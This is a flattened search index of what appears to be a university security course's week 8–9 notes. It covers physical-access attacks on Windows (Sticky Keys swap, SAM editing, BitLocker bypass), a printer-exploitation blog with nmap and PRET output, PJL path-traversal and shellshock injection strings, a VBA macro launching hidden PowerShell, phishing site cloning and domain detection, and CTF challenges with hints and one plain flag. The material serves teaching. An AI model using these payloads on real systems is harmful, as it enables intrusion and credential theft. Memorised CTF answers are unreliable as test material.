"},{"location":"CS315/2021/Week%208/#ram","title":"RAM","text":""},{"location":"CS315/2021/Week%208/#cold-boot","title":"Cold boot","text":"The RAM memory is persistent from 1 to 2 minutes from the time the computer is powered off. If you apply cold (liquid nitrogen, for example) on the memory card you can extend this time up to 10 minutes.
Then, you can do a memory dump (using tools like dd.exe, mdd.exe, Memoryze, win32dd.exe or DumpIt) to analyze the memory.
You should analyze the memory using volatility.
"},{"location":"CS315/2021/Week%208/#inception","title":"INCEPTION","text":"Inception is a physical memory manipulation and hacking tool exploiting PCI-based DMA. The tool can attack over FireWire, Thunderbolt, ExpressCard, PC Card and any other PCI/PCIe HW interfaces. Connect your computer to the victim computer over one of those interfaces and INCEPTION will try to patch the pyshical memory to give you access.
If INCEPTION succeeds, any password introduced will be vaid.
It doesn't work with Windows10.
"},{"location":"CS315/2021/Week%208/#live-cdusb","title":"Live CD/USB","text":""},{"location":"CS315/2021/Week%208/#sticky-keys-and-more","title":"Sticky Keys and more","text":"These binaries are located inside C:\\Windows\\System32**. You can change any of them for a copy of the binary cmd.exe (also in the same folder) and any time that you invoke any of those binaries a command prompt as SYSTEM** will appear.
"},{"location":"CS315/2021/Week%208/#modifying-sam","title":"Modifying SAM","text":"You can use the tool chntpw** to modify the SAM* file* of a mounted Windows filesystem. Then, you could change the password of the Administrator user, for example. This tool is available in KALI.
chntpw -h\nchntpw -l <path_to_SAM>\n
Inside a Linux system you could modify the /etc/shadow** or /etc/passwd* file.*
"},{"location":"CS315/2021/Week%208/#kon-boot","title":"Kon-Boot","text":"Kon-Boot is one of the best tools around which can log you into Windows without knowing the password. It works by hooking into the system BIOS and temporarily changing the contents of the Windows kernel while booting (new versions work also with UEFI). It then allows you to enter anything as the password during login. The next time you start the computer without Kon-Boot, the original password will be back, the temporary changes will be discarded and the system will behave as if nothing has happened. Read More: https://www.raymond.cc/blog/login-to-windows-administrator-and-linux-root-account-without-knowing-or-changing-current-password/
It is a live CD/USB that can patch the memory so you won't need to know the password to login. Kon-Boot also performs the StickyKeys trick so you could press Shift** 5 times to get an Administrator cmd**.
"},{"location":"CS315/2021/Week%208/#running-windows","title":"Running Windows","text":""},{"location":"CS315/2021/Week%208/#initial-shortcuts","title":"Initial shortcuts","text":""},{"location":"CS315/2021/Week%208/#booting-shortcuts","title":"Booting shortcuts","text":"There are also tons of tutorials about how to create your own bad USB.
"},{"location":"CS315/2021/Week%208/#volume-shadow-copy","title":"Volume Shadow Copy","text":"With administrators privileges and powershell you could make a copy of the SAM file. See this code.
"},{"location":"CS315/2021/Week%208/#bypassing-bitlocker","title":"Bypassing Bitlocker","text":"Bitlocker uses 2 passwords. The one used by the user, and the recovery password (48 digits).
If you are lucky and inside the current session of Windows exists the file C:\\Windows\\MEMORY.DMP** (It is a memory dump) you could try to search inside of it the recovery password. You can get this file and a copy of the filesytem and then use Elcomsoft Forensic Disk Dercyptor to get the content (this will only work if the password is inside the memory dump). You coud also force the memory dump* using NotMyFault* of Sysinternals, but this will reboot the system and has to be executed as Administrator.
You could also try a bruteforce attack using *Passware Kit Forensic*.
"},{"location":"CS315/2021/Week%208/#an-introduction-to-printer-exploitation","title":"An Introduction to Printer Exploitation","text":""},{"location":"CS315/2021/Week%208/#preface","title":"Preface","text":"Note: As always the following is just a digest of all the things I could observe by working on printers myself or facts from stuff I read about recently.
Since this thread about the HP printer promo videos 3 caught some attention I will try to shed some light onto the field which was displayed there. First of all we should keep in mind this was a promo video made by a company. So always ask yourself this: \u201cHow real are the displayed scenarios, or are these just \u2018Hollywood fabrications\u2019?\u201d
I had some access to different printers over the last couple of month and learned some basic principles, which I wanna share with you as good as possible now. Printer use a various amount of protocols and firmwares which differ from vendor to vendor and model to model. So this first part might be boring to some, you can try to skip the theoretical part and jump right to the exploitation paragraph, but talking about fundamentals will cover important topics.
"},{"location":"CS315/2021/Week%208/#printer-as-an-attack-vector","title":"Printer as an attack vector?","text":"We get to that in next couple of paragraphs
"},{"location":"CS315/2021/Week%208/#required-skills","title":"Required Skills","text":"Not much to mention here
Local printers are just directly connected to a desktop PC and are rather uninteresting. These days almost all printers seem to be network printers though. So basically network printing enables users in locations geographically separate from each other and from their print devices to produce documents for themselves and others. Print servers enable multiple clients to share one or more print devices. So far so easy right? Let\u2019s jump directly to some highlevel view which explains every network printer quite well.
"},{"location":"CS315/2021/Week%208/#highlevel-view","title":"Highlevel view","text":"A highlevel view of current network printers might look something like this:
+----------------------------------------------------+\n | Network printing protocols |\n Printing channel +-------------------------------+--+\n | |\n | IPP, LPD, SMB, raw port 9100 |\n | |\n +--------------------------------------------------+ |\n | job/printer control langs. | |\n Printer language +-----------------------------+--+ |\n | | |\n | PJL, PML | |\n | | |\n | +------------------------+ | |\n | | Page descr. langs. | | |\n | +------------------------+---+ | |\n | | | | |\n | | PS, PCL, PDF, XPS, ... | | |\n | | | | |\n | +----------------------------+ | |\n +--------------------------------+ |\n +----------------------------------+\n
Note: This diagram might be incomplete!
=The network printing protocol acts as a channel to deploy print jobs, which either contain the page description language directly or first invoke a printer/job control language!
Let\u2019s take a look at each of those sections in the diagram above more closely and cover some fundamentals.
"},{"location":"CS315/2021/Week%208/#fundamentals","title":"Fundamentals","text":""},{"location":"CS315/2021/Week%208/#firmware","title":"Firmware","text":"Printer use, in my experience a couple of different operating systems for embedded devices. I\u2019ll list a few of them here, but won\u2019t really dive into them, since it would go beyond the scope of this article.
With the different, but limited pool of printers I\u2019ve had access to all of them had some things in common in the end.
These facts show that printers might be vulnerable to certain attacks, but still these attacks often are made more \u2018complicated\u2019, because certain functions aren\u2019t even there or somehow have to get enabled through (remote) file system writes\u2026
Next a wild bunch of protocols is used for communication between Printers, print servers, desktop PCs and even internally within a printer. Let\u2019s take a look!
"},{"location":"CS315/2021/Week%208/#network-printing-protocols","title":"Network printing protocols","text":"To summarize it right away there are a bunch of \u2018exotic\u2019 protocols for network printing (NCP or AppleTalk for example) To explain and mention them all here would be too much again. If anyone is interested in some specifics or a follow up post I\u2019d answer any questions there.
In the Windows world, SMB/CIFS printer are popular. The most common printing protocols supported directly by network printers however are LPD, IPP, and raw port 9100 printing, which I will explain a bit more in depth now. Furthermore, some devices support printing over generic protocols such as FTP or HTTP file uploads as well.
"},{"location":"CS315/2021/Week%208/#lpd","title":"LPD","text":"LPD is short for \u2018Line Printer Daemon\u2019-protocol. It runs on port 515/TCP and can be accessed by using \u2018lpr\u2019 over the CLI. To print things, the client sends a control file defining job/username and a data file containing the actual data to be printed.
"},{"location":"CS315/2021/Week%208/#ipp","title":"IPP","text":"IPP is an extendable protocol and based on HTTP, so it inherits all existing security features like basic authentication and SSL/TLS encryption. To submit a print job, a HTTP POST request is sent to the IPP server, which listens on 631/TCP. For anyone wondering CUPS is an IPP implementation, which is a default printing system in many Linux distributions and macOS X.
"},{"location":"CS315/2021/Week%208/#smb","title":"SMB","text":"SMB, short for \u2018Server Message Block\u2019 is an application-layer network protocol, which handles file and printer sharing. It\u2019s used by default on Windows. Usually it runs on 445/TCP.
"},{"location":"CS315/2021/Week%208/#port-9100","title":"Port 9100","text":"Also known as \u2018raw printing\u2019, since it makes use of connecting to 9100/TCP of a network printer. It is the default method used by CUPS and the Windows printing architecture. Here all data sent is directly processed by the printing device, just like a parallel connection over TCP. In contrast to LPD, IPP and SMB interpreted printer control/page description languages, this one here is capable of sending direct feedback to the client, including status and error messages. So we have a bidirectional channel here, which directly can give us access to results of the Printer control languages!
"},{"location":"CS315/2021/Week%208/#printer-control-languages","title":"Printer Control Languages","text":"Basically a job control language manages settings like output trays for the current job. It often just sits in between the printing protocol and the page description language. Printer control and management languages are designed to affect not only a single print job but the device as a whole. I\u2019m not too knowledgeable here but the two most basic ones are listed below.
"},{"location":"CS315/2021/Week%208/#snmp","title":"SNMP","text":"SNMP, short for \u2018Simple Network Management Protocol\u2019 listens on 161/UDP. Was designed to manage network components
"},{"location":"CS315/2021/Week%208/#pjl","title":"PJL","text":"PJL, short for \u2018Printer Job Language\u2019 is the kinda de-facto standard now Can be used to manipulate general settings, also with permanent changes. There are many dialects as vendors tend to support only a subset of the commands listed in the PJL reference and instead prefer to add proprietary ones. PJL is also used to set the file format of the actual print data to follow, which makes it interesting for various attacks.
"},{"location":"CS315/2021/Week%208/#page-description-languages-pdl","title":"Page Description Languages (PDL)","text":"This one basically specifies how the actual document will look like appearance wise. Here comes the printer driver into play which kinda translate the file to be printed into a PDL that is understood by the printer.
"},{"location":"CS315/2021/Week%208/#postscript-ps","title":"PostScript (PS)","text":"Is well known and made by Adobe and is widely used as a PDL. PS is capable of far more than just defining the appearance of the document and handling vector graphics though. That\u2019s why, when used correctly, PS can be used for a variety of attacks such as denial of service (for example, through infinite loops), print job manipulation and retention as well as gaining access to the printer\u2019s file system.
"},{"location":"CS315/2021/Week%208/#pcl","title":"PCL","text":"As a minimalist page description language supported by a wide variety of vendors and devices. Is also a de-facto Standard nowadays. It\u2019s also not intended to get direct access to the underlying filesystem. So it\u2019s not that well suited for exploitation purposes, but still has it\u2019s place for such purposes as well.
"},{"location":"CS315/2021/Week%208/#possible-exploits","title":"Possible Exploits","text":""},{"location":"CS315/2021/Week%208/#who-would-put-a-printer-on-the-internet","title":"Who would put a printer on the Internet?","text":"I just leave this data as a first expression here
shodan count port:9100 pjl 29111 [7/07/20 7:42:13] dev@ops shodan count port:515 lpd 50607 [7/07/20 7:42:46] dev@ops shodan count port:631 ipp 90760 [7/07/20 7:43:10] dev@ops shodan count port:161 snmp 7876
Data from: 07.07.2020
"},{"location":"CS315/2021/Week%208/#attack-vectors","title":"Attack Vectors","text":""},{"location":"CS315/2021/Week%208/#remote","title":"Remote","text":"As easily seen above a lot of printers are connected to the Internet through port 9100, which make them attackable. You either know the IP or can just scan for some in your neighborhood radius/ check shodan. Once you have some you might get a SSH connection going. Often standard login credentials are still used, which you can easily scrape from the Internet\u2026
"},{"location":"CS315/2021/Week%208/#inside-job","title":"Inside job","text":"If you have physical access to the printer you can also plug in an USB drive or even a SD card.
"},{"location":"CS315/2021/Week%208/#possible-mayhem-one-can-cause","title":"Possible Mayhem one can cause\u2026","text":"So now we\u2019re kinda back to the linked topic at the beginning of the small web series directed by HP. So how realistic are the shown scenarios?
"},{"location":"CS315/2021/Week%208/#dos","title":"DoS","text":"Depending on the planned attack and possible access one has a variety of attack vectors. One need more planning than others. Some need physical access and some can be done from remote. Combinations of those are easily possible!
For example issuing a malicious firmware update via a simple print job (possible case: no authentication needed), which extracts sensitive data and renders the printer useless. -Printer \u2018ransomware\u2019 may be a thing, even if it sounds kinda weird.
So to conclude this section, I think the shown attacks in the videos were presented a tad to \u2018flashy\u2019, but are indeed possible depending on the printers and network they are placed in.
"},{"location":"CS315/2021/Week%208/#tools","title":"Tools","text":"A lot of these techniques mentioned above need some serious work or knowledge about the underlying structure ( e.g.: used PDL, PCL). Even though these might be fairly easily found out using manuals or online search it\u2019s still a hassle and extra work. So people already made our lifes more easy by providing tools for almost all tasks mentioned above :).
"},{"location":"CS315/2021/Week%208/#beef","title":"BeEF","text":"The Browser Exploitation Framework (BeEF) is a penetration testing tool that focuses on the web browser. It allows the penetration tester to assess the actual security posture of a target environment by using client-side attack vectors. This is not really printer specific, but it is a framework to implement cross-site printing 48 functionality.
"},{"location":"CS315/2021/Week%208/#praeda","title":"Praeda","text":"Praeda - \u201cAn Automated Printer Data Harvesting Tool\u201d written in perl. Also a tool to help pentesters to gather usable data during security assessment jobs. Praeda systematically collects sensitive information from the printer\u2019s embedded web server. This includes device passwords, usernames, email addresses which might be available publicly on the web interface.
"},{"location":"CS315/2021/Week%208/#pret-328","title":"PRET 328","text":"This one is real nifty tool written in python to check for basically every attack vector I mentioned above. It tries to connect to the printer via network or USB and tries to exploit the used printer languages, currently supported are PS, PJL and PCL. When successfully connected one has a ton of available commands. A full list can be found on the Github, linked below.
"},{"location":"CS315/2021/Week%208/#les","title":"LES","text":"Linux Exploit Suggester is a neat little perl script, which gives some options for possible exploits depending on your kernel. As stated above the kernel versions for embedded operating systems are often far lower, compared to current linux based desktop or server distributions. So old, usually fixed exploit techniques might still be viable here!
Note: It is likely, that perl is not present in it\u2019s full range and copying it to a printer is extra work. Luckily one can run simply run in a desktop environment and specifying the kernel you want to exploit
"},{"location":"CS315/2021/Week%208/#my-home-printer-a-journey-to-find-a-way-in","title":"My home printer - a journey to find a way in!","text":"Ok what is a basic plan to concentrate on when trying to exploit a printer? I\u2019ve given a lot of theory until this point, as well as some \u201cDo\u2019s\u201d and \u201cMights\u201d. Maybe you\u2019ve got some ideas on your own already, but here\u2019s a little experimental journey from me.
So first thing that is obvious is to check for open ports and an OS fingerprint. Luckily we have nmap. Nmap is bae for this.
"},{"location":"CS315/2021/Week%208/#wheres-the-door","title":"Where\u2019s the door?","text":"$ sudo nmap 192.168.1.108\nStarting Nmap 7.01 ( https://nmap.org ) at 2017-09-11 20:13 CEST\nNmap scan report for 192.168.1.108\nHost is up (0.031s latency).\nNot shown: 993 closed ports\nPORT STATE SERVICE\n80/tcp open http\n139/tcp open netbios-ssn\n443/tcp open https\n445/tcp open microsoft-ds\n515/tcp open printer\n631/tcp open ipp\n9100/tcp open jetdirect\nMAC Address: 44:D2:44:1C:73:E2 (Seiko Epson)\n\nNmap done: 1 IP address (1 host up) scanned in 2.04 seconds\n\nDevice type: specialized\nRunning: Linux 2.6.X\nOS CPE: cpe:/o:linux:linux_kernel:2.6\nOS details: Linux 2.6.31 - 2.6.35 (embedded)\nNetwork Distance: 1 hop\n\nOS detection performed. Please report any incorrect results at https://nmap.org/submit/ .\n$\n
So we have the usual printing ports open, as well as some other basic ones. It is running an older Linux as well, so no big surprise there! No open 22/TCP port though. So causing mayhem on the file system is not possible as of now.
"},{"location":"CS315/2021/Week%208/#pret-and-done","title":"PRET and done?","text":"I\u2019ve praised PRET quite a bit above, so let\u2019s give it a try to check if my Epson printer has a nice, hopefully standard set of supported printer languages!
$ python pret.py 192.168.1.108 -s PS\n\nChecking for IPP support: found\nChecking for HTTP support: found\nChecking for SNMP support: found\nChecking for PS support: not found\n$\n\n$ python pret.py 192.168.1.108 -s Pjl\nChecking for IPP support: found\nChecking for HTTP support: found\nChecking for SNMP support: found\nChecking for PJL support: not found\n$\n\n$ python pret.py 192.168.1.108 -s PCL\nChecking for IPP support: found\nChecking for HTTP support: found\nChecking for SNMP support: found\nChecking for PCL support: not found\n$\n
So no SSH and not even a standard version here\u2026 Most likely the result of my vendor using some exotic stuff again and not keeping things simple \u2026
Anyway using PRET is easy and self explanatory, once connected a help function will give you an overview of available stuff! From checking the file-system. creating directories, changing configuration files or even dumping the whole NVRAM. PRET can do it all (in theory that is ).
After trying a few things to find a way to make PRET work for me I trashed that idea for now and moved on!
"},{"location":"CS315/2021/Week%208/#les_1","title":"LES","text":"So I wanted to have some fun now after the two disappointing results :D. So let\u2019s dig deeper into what Linux exploits might get suggested for our version!
$ perl Linux_Exploit_Suggester.pl -k 2.6.31\n\nKernel local: 2.6.31\n\nSearching among 65 exploits...\n\nPossible Exploits:\n[+] american-sign-language\n CVE-2010-4347\n Source: http://www.securityfocus.com/bid/45408/\n[+] can_bcm\n CVE-2010-2959\n Source: http://www.exploit-db.com/exploits/14814/\n[+] do_pages_move\n Alt: sieve CVE-2010-0415\n Source: Spenders Enlightenment\n[+] half_nelson\n Alt: econet CVE-2010-3848\n Source: http://www.exploit-db.com/exploits/6851\n[+] half_nelson1\n Alt: econet CVE-2010-3848\n Source: http://www.exploit-db.com/exploits/17787/\n[+] half_nelson2\n Alt: econet CVE-2010-3850\n Source: http://www.exploit-db.com/exploits/17787/\n[+] half_nelson3\n Alt: econet CVE-2010-4073\n Source: http://www.exploit-db.com/exploits/17787/\n[+] msr\n CVE-2013-0268\n Source: http://www.exploit-db.com/exploits/27297/\n[+] pipe.c_32bit\n CVE-2009-3547\n Source: http://www.securityfocus.com/data/vulnerabilities/exploits/36901-1.c\n[+] pktcdvd\n CVE-2010-3437\n Source: http://www.exploit-db.com/exploits/15150/\n[+] ptrace_kmod2\n Alt: ia32syscall,robert_you_suck CVE-2010-3301\n Source: http://www.exploit-db.com/exploits/15023/\n[+] rawmodePTY\n CVE-2014-0196\n Source: http://packetstormsecurity.com/files/download/126603/cve-2014-0196-md.c\n[+] rds\n CVE-2010-3904\n Source: http://www.exploit-db.com/exploits/15285/\n[+] reiserfs\n CVE-2010-1146\n Source: http://www.exploit-db.com/exploits/12130/\n[+] video4linux\n CVE-2010-3081\n Source: http://www.exploit-db.com/exploits/15024/\n$\n
Note: If these are viable and meet all dependencies has to be checked of course, but a brief look at them made me decide not to spend too much effort here.
"},{"location":"CS315/2021/Week%208/#manual-pjl-injection","title":"Manual PJL Injection","text":"So I thought why not check for PJL again and try invoking some command strings manually in combination with netcat as a listener!
So I tried using:
echo \"@PJL FSUPLOAD FORMAT:BINARY NAME=\"../../etc/passwd\" OFFSET=0 SIZE=648\" | nc -v -v 192.168.1.108 9100\n# If successful this should display the */etc/passwd* file.\n
or
echo \"@PJL INFO ID\" | nc -v -v 192.168.1.108 9100\n# If successful this should get the *printer\u2019s device information*\n
as well as other PJL command injecting techniques, but my printer is not accepting any of these. It\u2019s not reacting at all to this kind of \u2018attack\u2019\u2026
I\u2019m not knowledgeable enough to launch this with PS and PCL as well, because their command syntax differs greatly (obviously). I\u2019m remaining with a note to search for PS and PCL attack strings.
"},{"location":"CS315/2021/Week%208/#a-pret-test-script-to-the-rescue","title":"A PRET test script to the rescue?","text":"So PRET doesn\u2019t work for my home printer as seen above. Interestingly I found that there is a script \u201chidden\u201d within the PRET source folder called \u201clpdtest.py\u201d It can test for known, but older (like really older) vulnerabilities within the Line Printer Daemon, listed here 60. This involves some basic tests:
"},{"location":"CS315/2021/Week%208/#get-test","title":"\u2018get\u2019 Test","text":"Trying to get (aka print) a file from printer\u2019s file system.
$ lpdtest.py printer get /etc/passwd $ lpdtest.py printer get \u2026/\u2026/\u2026/etc/passwd
etc\u2026
"},{"location":"CS315/2021/Week%208/#in-test","title":"\u2018in\u2019 Test","text":"This test is for fuzzing around with user input (hostname,username, jobname, filenames, etc.). This might be useful to test for interpretation of shell commands\u2026
# Test for environment variables\n$ lpdtest.py printer in '$UID'\n\n# Test for pipes and redirects\n$ lpdtest.py printer in '| pwd'\n$ lpdtest.py printer in '>/etc/passwd'\n\n# Test for backticks\n$ lpdtest.py printer in '`ls`'\n\n# Test for [shellshock (CVE-2014-6271)](http://seclists.org/oss-sec/2014/q3/650)\n$ lpdtest.py printer in '() {:;}; /bin/ping -c1 1.2.3.4'\n
As expected these attacks were already fixed. My printer spit out a few pages with lines like
\u201cIf you can read this lpdtest.py XYZ failed!\u201d
So the result here some wasted paper and ink\u2026
"},{"location":"CS315/2021/Week%208/#summary","title":"Summary","text":""},{"location":"CS315/2021/Week%208/#why-printer-exploitation","title":"Why Printer Exploitation?","text":"If I get the hands on some nicer printer I will deliver some exploit stuff later on I promise. If I get some more time to get a breakdown of my current home printer so I can take a look under the hood and to figure something out. An example here would be to capture a firmware update and trying to unpack/reverse that one. This would take a lot more time and preparation of my part, which would cause serious delay to this article as well.
So I\u2019m keeping it rather open ended now, but I hope I could inspire some minds here to take a closer look as well. Furthermore I hope this article reached the people who were interested and were able learn some things. So if you want to try to exploit your own device, just try it out! Remember:
I\u2019m looking forward to feedback and improvement suggestions.
"},{"location":"CS315/2021/Week%208/#further-readings","title":"Further readings","text":""},{"location":"CS315/2021/Week%208/#article-related-resources","title":"Article related resources:","text":"[-] ~~Hackergame 2021 challenge \"\u53bb\u5427\uff01\u8ffd\u5bfb\u81ea\u7531\u7684\u7535\u6ce2\"~~
[+] Inspired by Hackergame. Original created challenge.
[an interesting story]
OK now you have this mp3 file, please find the flag.
video.mp3
Hint1: it's too fast to understand!
Hint2: if I can let the time move backwards, this might be easier.
Hint3: some online OCR might be helpful. For example, https://speech-to-text-demo.ng.bluemix.net/
"},{"location":"CS315/2021/Week%208/#4-pt-mechanical-keyboard","title":"(4 pt) Mechanical Keyboard","text":"Have you faced the situation, that your roommate is playing games so late and the sound of mechanical keyboard is super noisy?
Meanwhile, especially you have midterm exam the next day.
You decide to record this sound and try to find some interesting key taps from your roommate.
(Account password, secret chat with girlfriend, or pxxxhub keywords...)
dist.zip
Hint1: the key taps only contain lower case characters and spaces.
Hint2: keyboard sniffing paper: https://www.davidsalomon.name/CompSec/auxiliary/KybdEmanation.pdf
Hint3: online key tap detector: https://keytap2.ggerganov.com/
Hint4: another (faster) method: recognize key tap sound, generate a substitution cipher and break.
Hint5: flag only contains lower case characters and underline (replace all spaces to underlines).
Example program to generate key sound average:
from scipy.io import wavfile\nsamplerate, data = wavfile.read('./output.wav')\n\ni = 0\ncountsilent = 0\nsamplefound = 0\n\navg = []\nstart = 0\nend = 0\navg.append([0])\n\nfor sample in data:\n i+=1 \n if(sample[1]<100):\n countsilent += 1\n if(countsilent > 10000 and sample[1]>100):\n countsilent = 0\n #print(str(i)+\": sample found\")\n start = i\n samplefound = 1\n if(countsilent > 8000 and samplefound==1):\n samplefound = 0\n #print(str(i)+\": sample ended\")\n end = i\n avg[len(avg)-1]=avg[len(avg)-1]/(end-start)\n print(\"avg: \"+str(avg[len(avg)-1]))\n avg.append([0])\n if (samplefound == 1):\n avg[len(avg)-1] += sample[1]\n
Example program to map sound to character:
alphabet = \"abcdefghijklmnopqr stuvwxyz\"\navg = {}\n\ni=0\n\nres=\"\"\n\nwith open(\"avg\") as file:\n for line in file:\n value = line.rstrip()[6:-1]\n #print(value)\n if str(value) not in avg:\n avg[str(value)]=alphabet[i]\n i+=1\n res+=avg[str(value)]\nprint(avg)\nprint(res)\n
Online substitution cipher solver: https://www.boxentriq.com/code-breaking/cryptogram
"},{"location":"CS315/2021/Week%208/#2-pt-free-usb","title":"(2 pt) Free USB","text":"A stranger has left his USB on my desk.
[plug in...]
OMG my mouse is out of control!
usb.pcapng
Hint1: packet is a USB capture, used for Logitech Optical Mouse.
Hint2: IRP ID is the only part changes in capture, which represents the mouse move.
Hint3: Gnuplot is an application to simulate mouse clicks.
Hint4: the first word in flag is \"tHE\".
"},{"location":"CS315/2021/Week%209/","title":"Week9 MISC: Social Engineering","text":"According to @Hacktricks: https://book.hacktricks.xyz/
"},{"location":"CS315/2021/Week%209/#clone-a-website","title":"Clone a Website","text":"For a phishing assessment sometimes it might be useful to completely clone a website.
Note that you can add also some payloads to the cloned website like a BeEF hook to \"control\" the tab of the user.
There are different tools you can use for this purpose:
"},{"location":"CS315/2021/Week%209/#wget","title":"wget","text":"wget -mk -nH\n
"},{"location":"CS315/2021/Week%209/#goclone","title":"goclone","text":"#https://github.com/imthaghost/goclone\noclone <url>\n
"},{"location":"CS315/2021/Week%209/#social-engineering-toolit","title":"Social Engineering Toolit","text":"#https://github.com/trustedsec/social-engineer-toolkit\n
"},{"location":"CS315/2021/Week%209/#detecting-phising","title":"Detecting Phising","text":""},{"location":"CS315/2021/Week%209/#introduction","title":"Introduction","text":"In order to detect a phishing attempt it's important to understand the phishing techniques that are being used nowadays. In the parent page of this post you can find this information, so if you aren't aware of which techniques are being used today I recommend you to go to the parent page and read at least that section.
This post is based in the idea that the attackers will try to somehow mimic or used the victim's domain name. If your domain is called example.com
and you receive a phishing that is using a completely different domain name for some reason like youwonthelottery.com
, this techniques aren't going to uncover it.
It's kind of easy to uncover those phishing attempts that will use a similar domain name inside the email. It's enough to generate a list of the most probable phishing names that an attacker may use and check if it's registered or just check if there is any IP using it.
"},{"location":"CS315/2021/Week%209/#finding-suspicions-domains","title":"Finding suspicions domains","text":"For this purpose you can use any of the following tools. Note that these tolls will also perform DNS requests automatically to check if the domain has any IP assigned to it:
In the world of computing, everything is stored in bits (zeros and ones) in memory behind the scenes. This applies to domains too. For example, windows.com becomes 01110111... in the volatile memory of your computing device. However, what if one of these bits got automatically flipped due to a solar flare, cosmic rays, or a hardware error? That is one of the 0's becomes a 1 and vice versa. Applying this concept to DNS request, it's possible that the domain requested that arrives to the DNS server isn't the same as the domain initially requested.
For example a 1 bit modification in the domain microsoft.com can transform it into windnws.com. Attackers may register as many bit-flipping domains as possible related to the victim in order to redirect legitimate users to their infrastructure.
For more information read https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/
All possible bit-flipping domain names should be also monitored.
"},{"location":"CS315/2021/Week%209/#basic-checks","title":"Basic checks","text":"Once you have a list of potential suspicions domain names you should check them (mainly the ports HTTP and HTTPS) to see if they are using some login form similar to someone of the victim's domain. You could also check the port 3333 to see if it's open and running an instance of gophish
. It's also interesting to know how old each discovered suspicions domain is, the younger it's the riskier it is. You can also get screenshots of the HTTP and/or HTTPS suspicious web page to see if it's really suspicious and in that case access it to take a deeper look.
If you want to go one step further I would recommend you to monitor those suspicious domains and search for more once in a while (every day? it only takes a few seconds/minutes). You should also check the open ports of the related IPs and search for instances of gophish
or similar tools (yes, attackers also make mistakes) and monitor the HTTP and HTTPS web pages of the suspicions domains and subdomains to see if they have copied any login form from the victims web pages. In order to automate this I would recommend to to have a list of login forms of the victims domains, spider the suspicions web pages and compare each login form found inside the suspicions domains with each login form of the victim's domain using something like ssdeep
. If you have located the login forms of the suspicions domains you can try to send junk credentials and check if it's redirecting you to the victims domain.
The parent page also mentions a domain name variation technique that consist on putting the victim's domain name inside a bigger domain (e.g. paypal-financial.com for paypal.com).
"},{"location":"CS315/2021/Week%209/#certificate-transparency","title":"Certificate Transparency","text":"It's not possible to take the previous \"Brute-Force\" approach but it's actually possible to uncover this phishing attempts also thanks to certificate transparency. Every time a certificate is emitted by a CA, the details are made public. This means that reading the certificate transparency or even monitoring it, it's possible to find domains that are using a keyword inside it's name For example, if attackers generates a certificate of https://paypal-financial.com, seeing the certificate it's possible to find the keyword \"paypal\" and know that that suspicions email is being used.
The post https://0xpatrik.com/phishing-domains/ suggest that you can use Censys to search for certificates affecting a specific keyword and filter by date (only \"new\" certificates) and by the CA issuer \"Let's Encrypt\":
However, you can do \"the same\" using the free web crt.sh. You can search for the keyword and the filter the results by date and CA if you whish.
Using this last option you can even use the field Matching Identities to see if any identity from the real domain matches any of the suspicious domain (note that a suspicious domain can be a false positive).
Another alternative is the fantastic project called CertStream. CertStream provides a real-time stream of newly generated certificates which you can use to detect specified keywords in (near) real-time. In fact, there is a project called phishing_catcher that does just like that.
"},{"location":"CS315/2021/Week%209/#new-domains","title":"New domains","text":"One last alternative is to gather a list of newly registered domains for some TLDs (Whoxy provides such service) and check the keywords in these domains. However, long domains usually uses one or more subdomains, therefore the keyword won't appear inside the FLD and you won't be able to find the phishing subdomain.
"},{"location":"CS315/2021/Week%209/#phishing-documents","title":"Phishing Documents","text":"Microsoft Word performs file data validation prior to opening a file. Data validation is performed in the form of data structure identification, against the OfficeOpenXML standard. If any error occurs during the data structure identification, the file being analysed will not be opened.
Usually Word files containing macros uses the .docm
extension. However, it's possible to rename the file changing the file extension and still keep their macro executing capabilities. For example, an RTF file does not support macros, by design, but a DOCM file renamed to RTF will be handled by Microsoft Word and will be capable of macro execution. The same internals and mechanisms apply to all software of the Microsoft Office Suite (Excel, PowerPoint etc.).
You can use the following command to check which extensions are going to be executed by some Office programs:
assoc | findstr /i \"word excel powerp\"\n
DOCX files referencing a remote template (File \u2013Options \u2013Add-ins \u2013Manage: Templates \u2013Go) that includes macros can \u201cexecute\u201d macros as well.
"},{"location":"CS315/2021/Week%209/#word-with-external-image","title":"Word with external image","text":"Go to: Insert --> Quick Parts --> Field Categories*: Links and References, Filed names*: includePicture, and Filename or URL*:* http://%3Cip%3E/whatever
"},{"location":"CS315/2021/Week%209/#macros-code","title":"Macros Code","text":"Dim author As String\nauthor = oWB.BuiltinDocumentProperties(\"Author\")\nWith objWshell1.Exec(\"powershell.exe -nop -Windowsstyle hidden -Command-\")\n .StdIn.WriteLine author\n .StdIn.WriteBlackLines 1\n
"},{"location":"CS315/2021/Week%209/#autoload-functions","title":"Autoload functions","text":"The more common they are, the more probable the AV will detect it.
Got some reviews that our challenges are so hard. Frank becomes so sad because there's no difficult challenges this week.
We even have a sanity check for the first challenge.
flag{1_l0v3_54n17y_ch3ck_ch4ll5}
Hint1: the flag is in question description.
Hint2: the flag is in plain text.
"},{"location":"CS315/2021/Week%209/#4-pt-vidcap","title":"(4 pt) VidCap","text":"Found this pcap of my ex's network traffic. I knew they're streaming video but I can't extract it. Can you help me ?
Hint1: this challenge is from COMPFEST 13.
Hint2: successfully extract files in the zip leads to the checkpoint.
video.zip
"},{"location":"CS315/2021/Week%209/#2-pt-archaeology","title":"(2 pt) Archaeology","text":"Windows XP is a great OS. When cleaning my Windows XP laptop, something unfortunate happened...
Hint1: after you found the docx, use XOR brute. This isn't a macro forensics.
Archaeology.zip from MEGA
Archaeology.zip from Baidu Disk with password l720
\u8be5\u653e\u9898\u65f6\u81ea\u4f1a\u653e\u9898
\u63d0\u524d\u505a\u9898\u4f53\u9a8c\u6781\u5dee
\u505a\u5b8c\u53d1\u7fa4\u66f4\u662f\u4e00\u7edd
\u62d2\u7edd\u7126\u8651\u4ece\u6211\u505a\u8d77
"},{"location":"CTF/CTF%20and%20Hacker%20Attitude/","title":"CTF Introduction and the Hacker Attitude","text":"https://ctf101.org/
http://www.catb.org/~esr/faqs/hacker-howto.html
https://ctf-wiki.org/
"},{"location":"CTF/CTF%20and%20Hacker%20Attitude/#ctf-introduction","title":"CTF Introduction","text":"Capture The Flags, or CTFs, is a kind of computer security competition.
Teams of competitors (or just individuals) are pitted against each other in a test of computer security skills.
Very often CTFs are the beginning of one's cyber security career due to their team-building nature and competitive aspect. In addition, there isn't a lot of commitment required beyond a weekend.
